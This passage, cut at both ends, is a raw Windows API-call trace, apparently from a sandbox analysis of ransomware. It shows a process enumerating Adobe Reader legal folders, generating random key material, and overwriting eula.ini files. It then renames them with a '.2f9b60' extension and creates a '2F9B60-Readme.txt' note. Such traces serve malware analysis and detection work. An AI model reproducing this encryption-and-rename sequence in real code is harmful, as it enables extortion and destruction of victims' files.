_Dest=0x43155fe0, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini" [0228.776] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\eula.ini")) returned 0x20 [0228.776] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", dwFileAttributes=0x20) returned 1 [0228.777] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f14 [0228.777] GetFileSizeEx (in: hFile=0x1f14, lpFileSize=0x24e6fd00 | out: lpFileSize=0x24e6fd00*=936) returned 1 [0228.777] SetFilePointerEx (in: hFile=0x1f14, liDistanceToMove=0x3a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.777] ReadFile (in: hFile=0x1f14, lpBuffer=0x24e6fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24e6fcc8, lpOverlapped=0x0 | out: lpBuffer=0x24e6fc80*, lpNumberOfBytesRead=0x24e6fcc8*=0x4, lpOverlapped=0x0) returned 1 [0228.995] SetFilePointerEx (in: hFile=0x1f14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3d70 [0228.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1310 [0228.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2a80 [0228.996] NtQuerySystemTime (in: CurrentTime=0x24e6fbc0 | out: CurrentTime=0x24e6fbc0*=132462178329934000) returned 0x0 [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x2bdb23c5 [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x362ac9bc [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x68f0d8d9 [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x194e272f [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x67c9f0bd [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x569e9232 [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x50d277a9 [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x67da0a15 [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x2cf58d9b [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x56bc0ad7 [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x6216ec9 [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x653630e3 [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x6f49a6e3 [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x4f6564f7 [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x127cb7fc [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x6e351e9a [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0xeca7c3e [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x350159bb [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x41146a9b [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x7c0501a [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x4e25c24f [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x158562b [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x34adde90 [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x22006444 [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x4bc928aa [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x79d0d26a [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x717811b8 [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x15b5952e [0228.996] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x5bf0f126 [0228.997] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x6a977be3 [0228.997] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x4b28fd53 [0228.997] RtlRandomEx (in: Seed=0x24e6fbb0 | out: Seed=0x24e6fbb0) returned 0x608bd855 [0229.006] ReadFile (in: hFile=0x1f14, lpBuffer=0x42366910, nNumberOfBytesToRead=0x3a8, lpNumberOfBytesRead=0x24e6fbb0, lpOverlapped=0x0 | out: lpBuffer=0x42366910*, lpNumberOfBytesRead=0x24e6fbb0*=0x3a8, lpOverlapped=0x0) returned 1 [0229.006] SetFilePointerEx (in: hFile=0x1f14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.006] WriteFile (in: hFile=0x1f14, lpBuffer=0x42380d80*, nNumberOfBytesToWrite=0x3a8, lpNumberOfBytesWritten=0x24e6fbb4, lpOverlapped=0x0 | out: lpBuffer=0x42380d80*, lpNumberOfBytesWritten=0x24e6fbb4*=0x3a8, lpOverlapped=0x0) returned 1 [0239.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bc80 [0239.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134e10 [0239.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134e10) returned 1 [0239.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42380d80) returned 1 [0239.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42366910) returned 1 [0239.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8686c0) returned 1 [0239.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61f60) returned 1 [0239.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x43134e10 [0239.128] SetFilePointerEx (in: hFile=0x1f14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.128] WriteFile (in: hFile=0x1f14, lpBuffer=0x1cebc690*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x24e6fcd0, lpOverlapped=0x0 | out: lpBuffer=0x1cebc690*, lpNumberOfBytesWritten=0x24e6fcd0*=0x102, lpOverlapped=0x0) returned 1 [0242.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62640 [0242.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606f0 [0242.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606f0) returned 1 [0242.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0242.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606f0 [0242.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0242.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f970) returned 1 [0242.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62640) returned 1 [0242.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1b85f970 [0242.041] sprintf (in: _Dest=0x1b85f970, _Format="%c%c" | out: _Dest="bb") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f972, _Format="%c%c" | out: _Dest="be") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f974, _Format="%c%c" | out: _Dest="53") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f976, _Format="%c%c" | out: _Dest="75") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f978, _Format="%c%c" | out: _Dest="f8") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f97a, _Format="%c%c" | out: _Dest="5d") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f97c, _Format="%c%c" | out: _Dest="ec") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f97e, _Format="%c%c" | out: _Dest="2d") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f980, _Format="%c%c" | out: _Dest="22") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f982, _Format="%c%c" | out: _Dest="38") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f984, _Format="%c%c" | out: _Dest="f9") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f986, _Format="%c%c" | out: _Dest="32") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f988, _Format="%c%c" | out: _Dest="ce") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f98a, _Format="%c%c" | out: _Dest="31") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f98c, _Format="%c%c" | out: _Dest="b4") returned 2 [0242.041] sprintf (in: _Dest=0x1b85f98e, _Format="%c%c" | out: _Dest="a6") returned 2 [0242.041] RtlInitAnsiString (in: DestinationString=0x24e6fd48, SourceString="bbbe5375f85dec2d2238f932ce31b4a6" | out: DestinationString="bbbe5375f85dec2d2238f932ce31b4a6") [0242.041] RtlAnsiStringToUnicodeString (in: DestinationString=0x24e6fd18, SourceString="bbbe5375f85dec2d2238f932ce31b4a6", AllocateDestinationString=1 | out: DestinationString="bbbe5375f85dec2d2238f932ce31b4a6") returned 0x0 [0242.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce625f0 [0242.042] wcscat (in: _Dest=0x2027bb90, _Source="bbbe5375" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\bbbe5375") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\bbbe5375" [0242.042] wcscat (in: _Dest=0x2027bb90, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\bbbe5375.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\bbbe5375.2f9b60" [0242.042] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\bbbe5375.2f9b60", NtPathName=0x24e6fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\bbbe5375.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43111e60 [0243.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43111e60) returned 1 [0243.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4308f850) returned 1 [0243.029] NtQueryInformationFile (in: FileHandle=0x1f14, IoStatusBlock=0x24e6fd58, FileInformation=0x24e6fd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24e6fd58, FileInformation=0x24e6fd68) returned 0x0 [0243.029] NtSetInformationFile (FileHandle=0x1f14, IoStatusBlock=0x24e6fd58, FileInformation=0x24e6fd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0243.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bb90) returned 1 [0243.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce625f0) returned 1 [0243.373] FlushFileBuffers (hFile=0x1f14) returned 1 [0243.378] CloseHandle (hObject=0x1f14) returned 1 [0243.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202acf20 [0243.471] wcscpy (in: _Dest=0x202acf20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\" [0243.471] wcscat (in: _Dest=0x202acf20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\2F9B60-Readme.txt" [0243.471] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\2f9b60-readme.txt")) returned 0xffffffff [0243.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 3774 os_tid = 0xd1c [0227.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79e5f0 [0227.579] wcscpy (in: _Dest=0x1b79e5f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN" [0227.579] wcscat (in: _Dest=0x1b79e5f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\" [0227.579] wcscat (in: _Dest=0x1b79e5f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*" [0227.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027ddf0 [0227.580] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\*", lpFindFileData=0x2027ddf0 | out: lpFindFileData=0x2027ddf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431f9780 [0228.803] wcscmp (_String1=".", _String2=".") returned 0 [0228.803] FindNextFileW (in: hFindFile=0x431f9780, lpFindFileData=0x2027ddf0 | out: lpFindFileData=0x2027ddf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.803] wcscmp (_String1="..", _String2=".") returned 1 [0228.803] wcscmp (_String1="..", _String2="..") returned 0 [0228.803] FindNextFileW (in: hFindFile=0x431f9780, lpFindFileData=0x2027ddf0 | out: lpFindFileData=0x2027ddf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0228.803] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0228.803] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0228.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x43107ad0 [0228.808] wcscpy (in: _Dest=0x43107ad0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN" [0228.808] wcscat (in: _Dest=0x43107ad0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\" [0228.808] wcscat (in: _Dest=0x43107ad0, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini" [0228.808] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\eula.ini")) returned 0x20 [0228.808] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini", dwFileAttributes=0x20) returned 1 [0228.809] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfdc [0228.810] GetFileSizeEx (in: hFile=0xfdc, lpFileSize=0x2574f7a0 | out: lpFileSize=0x2574f7a0*=1046) returned 1 [0228.810] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x412, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.810] ReadFile (in: hFile=0xfdc, lpBuffer=0x2574f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2574f768, lpOverlapped=0x0 | out: lpBuffer=0x2574f720*, lpNumberOfBytesRead=0x2574f768*=0x4, lpOverlapped=0x0) returned 1 [0228.951] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e90 [0228.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2f00 [0228.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1070 [0228.952] NtQuerySystemTime (in: CurrentTime=0x2574f660 | out: CurrentTime=0x2574f660*=132462178329466000) returned 0x0 [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x765afd9b [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x6d73760e [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x3a2b8229 [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x1fe0a1c6 [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x2696a81b [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x501b0978 [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x2d20665b [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x35d44b04 [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x50e7a9e [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x35f9c32d [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x67cb45e [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x15232839 [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x55de801e [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x771361c0 [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x7430e0e0 [0228.952] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x87eea62 [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x38abcfab [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x5482f915 [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x42349fd3 [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x7c2f3337 [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x4c82fbad [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x55c68bb1 [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x60135b8a [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x31a4bff7 [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x75eadb9b [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x6ce1507f [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x3902312c [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x2f6499c1 [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x6cab80cf [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x5e195548 [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x3c02c909 [0228.953] RtlRandomEx (in: Seed=0x2574f650 | out: Seed=0x2574f650) returned 0x747a5dee [0228.963] ReadFile (in: hFile=0xfdc, lpBuffer=0x4235f0f0, nNumberOfBytesToRead=0x416, lpNumberOfBytesRead=0x2574f650, lpOverlapped=0x0 | out: lpBuffer=0x4235f0f0*, lpNumberOfBytesRead=0x2574f650*=0x416, lpOverlapped=0x0) returned 1 [0228.963] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.963] WriteFile (in: hFile=0xfdc, lpBuffer=0x4238c1b0*, nNumberOfBytesToWrite=0x416, lpNumberOfBytesWritten=0x2574f654, lpOverlapped=0x0 | out: lpBuffer=0x4238c1b0*, lpNumberOfBytesWritten=0x2574f654*=0x416, lpOverlapped=0x0) returned 1 [0239.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b410 [0239.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b4a0 [0239.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b4a0) returned 1 [0239.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4238c1b0) returned 1 [0239.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4235f0f0) returned 1 [0239.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0239.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce625a0) returned 1 [0239.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313b4a0 [0239.136] SetFilePointerEx (in: hFile=0xfdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.136] WriteFile (in: hFile=0xfdc, lpBuffer=0x1cebce00*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2574f770, lpOverlapped=0x0 | out: lpBuffer=0x1cebce00*, lpNumberOfBytesWritten=0x2574f770*=0x102, lpOverlapped=0x0) returned 1 [0242.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62640 [0242.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0bc0 [0242.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0242.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0242.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0bc0 [0242.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d60 [0242.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1d60) returned 1 [0242.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62640) returned 1 [0242.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1cdb1d60 [0242.062] sprintf (in: _Dest=0x1cdb1d60, _Format="%c%c" | out: _Dest="05") returned 2 [0242.062] sprintf (in: _Dest=0x1cdb1d62, _Format="%c%c" | out: _Dest="61") returned 2 [0242.062] sprintf (in: _Dest=0x1cdb1d64, _Format="%c%c" | out: _Dest="b5") returned 2 [0242.062] sprintf (in: _Dest=0x1cdb1d66, _Format="%c%c" | out: _Dest="23") returned 2 [0242.062] sprintf (in: _Dest=0x1cdb1d68, _Format="%c%c" | out: _Dest="8b") returned 2 [0242.062] sprintf (in: _Dest=0x1cdb1d6a, _Format="%c%c" | out: _Dest="8a") returned 2 [0242.062] sprintf (in: _Dest=0x1cdb1d6c, _Format="%c%c" | out: _Dest="2a") returned 2 [0242.062] sprintf (in: _Dest=0x1cdb1d6e, _Format="%c%c" | out: _Dest="f3") returned 2 [0242.062] sprintf (in: _Dest=0x1cdb1d70, _Format="%c%c" | out: _Dest="8a") returned 2 [0242.062] sprintf (in: 